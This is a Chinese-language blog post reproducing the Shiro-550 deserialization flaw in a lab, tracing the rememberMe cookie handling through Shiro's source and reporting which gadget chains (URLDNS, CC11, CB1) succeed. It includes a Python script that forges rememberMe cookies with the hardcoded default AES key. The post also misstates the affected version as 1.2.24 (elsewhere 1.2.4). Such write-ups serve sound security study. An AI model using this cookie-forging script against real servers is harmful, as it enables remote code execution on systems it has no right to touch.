shiro550 分析复现

shiro是java中用来处理鉴权问题的组件,提供了快捷的用户鉴权认证功能.在shrio版本低于1.2.24的时候存在shiro550漏洞,我们clone一个P牛的项目去进行实验测试.实验环境为java8u65
看一下项目添加的依赖:

<dependencies>
    <dependency>
      <groupId>org.apache.shiro</groupId>
      <artifactId>shiro-core</artifactId>
      <version>1.2.4</version>
    </dependency>
    <dependency>
      <groupId>org.apache.shiro</groupId>
      <artifactId>shiro-web</artifactId>
      <version>1.2.4</version>
    </dependency>

    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>javax.servlet-api</artifactId>
      <version>3.1.0</version>
      <scope>provided</scope>
    </dependency>

    <dependency>
      <groupId>javax.servlet.jsp</groupId>
      <artifactId>jsp-api</artifactId>
      <version>2.2</version>
      <scope>provided</scope>
    </dependency>

    <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
    <dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.2.1</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
    <dependency>
      <groupId>commons-logging</groupId>
      <artifactId>commons-logging</artifactId>
      <version>1.2</version>
    </dependency>
    <dependency>  
        <groupId>commons-beanutils</groupId>  
        <artifactId>commons-beanutils</artifactId>  
        <version>1.8.3</version>  
    </dependency>
    <dependency>
      <groupId>org.slf4j</groupId>
      <artifactId>slf4j-api</artifactId>
      <version>1.7.30</version>
    </dependency>
    <dependency>
      <groupId>org.slf4j</groupId>
      <artifactId>slf4j-simple</artifactId>
      <version>1.7.30</version>
    </dependency>

  </dependencies>

shiro550漏洞成因

我们在用户登录的时候去勾选rememberMe选项,发送服务端给我们设置了一个特别长的Cookie.
image

这种东西一眼就不正常.而实际上,shiro550漏洞也正是因为这个rememberMe产生的.当我们发送这个rememberMe以后,shiro会对这个字段进行AES解码,然后去进行反序列化.这就有可能导致反序列化漏洞.在shiro550版本以下,这个AES的key是硬编码在代码中的,因此可以被直接破解,去伪造cookie进行反序列化攻击.
下面是具体的解释.

CookieRememberMeManager

全局搜Cookie,找到一个名字像是相关功能的类.我们来看他的getRememberedSerializedIdentity方法.

protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
        if (!WebUtils.isHttp(subjectContext)) {
            if (log.isDebugEnabled()) {
                String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a servlet request and response in order to retrieve the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
                log.debug(msg);
            }

            return null;
        } else {
            WebSubjectContext wsc = (WebSubjectContext)subjectContext;
            if (this.isIdentityRemoved(wsc)) {
                return null;
            } else {
                HttpServletRequest request = WebUtils.getHttpRequest(wsc);
                HttpServletResponse response = WebUtils.getHttpResponse(wsc);
                String base64 = this.getCookie().readValue(request, response);
                if ("deleteMe".equals(base64)) {
                    return null;
                } else if (base64 != null) {
                    base64 = this.ensurePadding(base64);
                    if (log.isTraceEnabled()) {
                        log.trace("Acquired Base64 encoded identity [" + base64 + "]");
                    }

                    byte[] decoded = Base64.decode(base64);
                    if (log.isTraceEnabled()) {
                        log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
                    }

                    return decoded;
                } else {
                    return null;
                }
            }
        }
    }

大概可以看到,这个方法大体的功能是对Cookie中的rememberMe字段进行base64解密.那么一定是有什么方法调用了这个方法来进行的.我们去查看这个类继承的抽象类.

AbstractRememberMeManager

在这个类中,getRememberedSerializedIdentity是一个抽象方法,查找发现这个抽象方法在getRememberedPrincipals被调用.

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {  
    PrincipalCollection principals = null;  
  
    try {  
        byte[] bytes = this.getRememberedSerializedIdentity(subjectContext);  
        if (bytes != null && bytes.length > 0) {  
            principals = this.convertBytesToPrincipals(bytes, subjectContext);  
        }  
    } catch (RuntimeException var4) {  
        RuntimeException re = var4;  
        principals = this.onRememberedPrincipalFailure(re, subjectContext);  
    }  
  
    return principals;  
}

在这个方法中调用了convertBytesToPrincipals方法,跟过去看看.

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (this.getCipherService() != null) {
            bytes = this.decrypt(bytes);
        }

        return this.deserialize(bytes);
    }

其中就调用了decrypt方法和deserialize方法.剩下的就是去分析crypt方法给出的加密方式,这个就没去分析.
网上找了个python脚本,去对序列化的结果进行aes加密并base64编码.

from email.mime import base
from pydoc import plain
import sys
import base64
from turtle import mode
import uuid
from random import Random
from Crypto.Cipher import AES


def get_file_data(filename):
    with open(filename, 'rb') as f:
        data = f.read()
        return data

def aes_enc(data):
 BS = AES.block_size
 pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
 key = "kPH+bIxk5D2deZiIxcaaaA=="
 mode = AES.MODE_CBC
 iv = uuid.uuid4().bytes
 encryptor = AES.new(base64.b64decode(key), mode, iv)
 ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
 return ciphertext

def aes_dec(enc_data):
 enc_data = base64.b64decode(enc_data)
 unpad = lambda s: s[:-s[-1]]
 key = "kPH+bIxk5D2deZiIxcaaaA=="
 mode = AES.MODE_CBC
 iv = enc_data[:16]
 encryptor = AES.new(base64.b64decode(key), mode, iv)
 plaintext = encryptor.decrypt(enc_data[16:])
 plaintext = unpad(plaintext)
 return plaintext

if __name__ == "__main__":
 data = get_file_data("cc1.bin")
 print(aes_enc(data))

漏洞利用

urldns链

既然有反序列化漏洞,那么首先必然是能打URLDNS链的.测了一下,确实是能打通.

cc链

接下来看cc链,由于存在commons-collections3.2.1,因此认为理论上是可以打通所有版本的cc链的,然而实际上发现存在问题.
跟随异常处断点来到ClassResolvingObjectInputStream类的resolveClass方法.

protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
        try {
            return ClassUtils.forName(osc.getName());
        } catch (UnknownClassException var3) {
            UnknownClassException e = var3;
            throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
        }
    }

ClassResolvingObjectInputStream类继承自ObjectInputStream类,并且重写了resolveClass方法.来看一下ObjectInputSream类的resolveClass方法.

protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException
    {
        String name = desc.getName();
        try {
            return Class.forName(name, false, latestUserDefinedLoader());
        } catch (ClassNotFoundException ex) {
            Class<?> cl = primClasses.get(name);
            if (cl != null) {
                return cl;
            } else {
                throw ex;
            }
        }
    }

可以看到这里是使用Class.forName去获取Class对象的.而在ClassResolvingObjectInputStream中使用ClassUtils.forName去获取Class对象,这个方法传入的参数不能是数组,因此我们如果传入了Transformer数组会出现报错.
解决方式:使用cc11链打.测试发现可以正常的打通.
image

cb链

commons-beanutils的1.8.3的依赖,显然是可以打通的.那么加入我们删去这个依赖还能打通吗,经过测试发现还是成功打通了,这就很有意思.
image

一看依赖发现了问题,原来是shiro中自己引入了commons-beanutils的1.8.3的依赖.
image

因此只要是1.2.24版本以下的shiro,都是可以直接用cb1打通的.

posted @ 2025-01-16 07:34  colorfullbz  阅读(100)  评论(0)    收藏  举报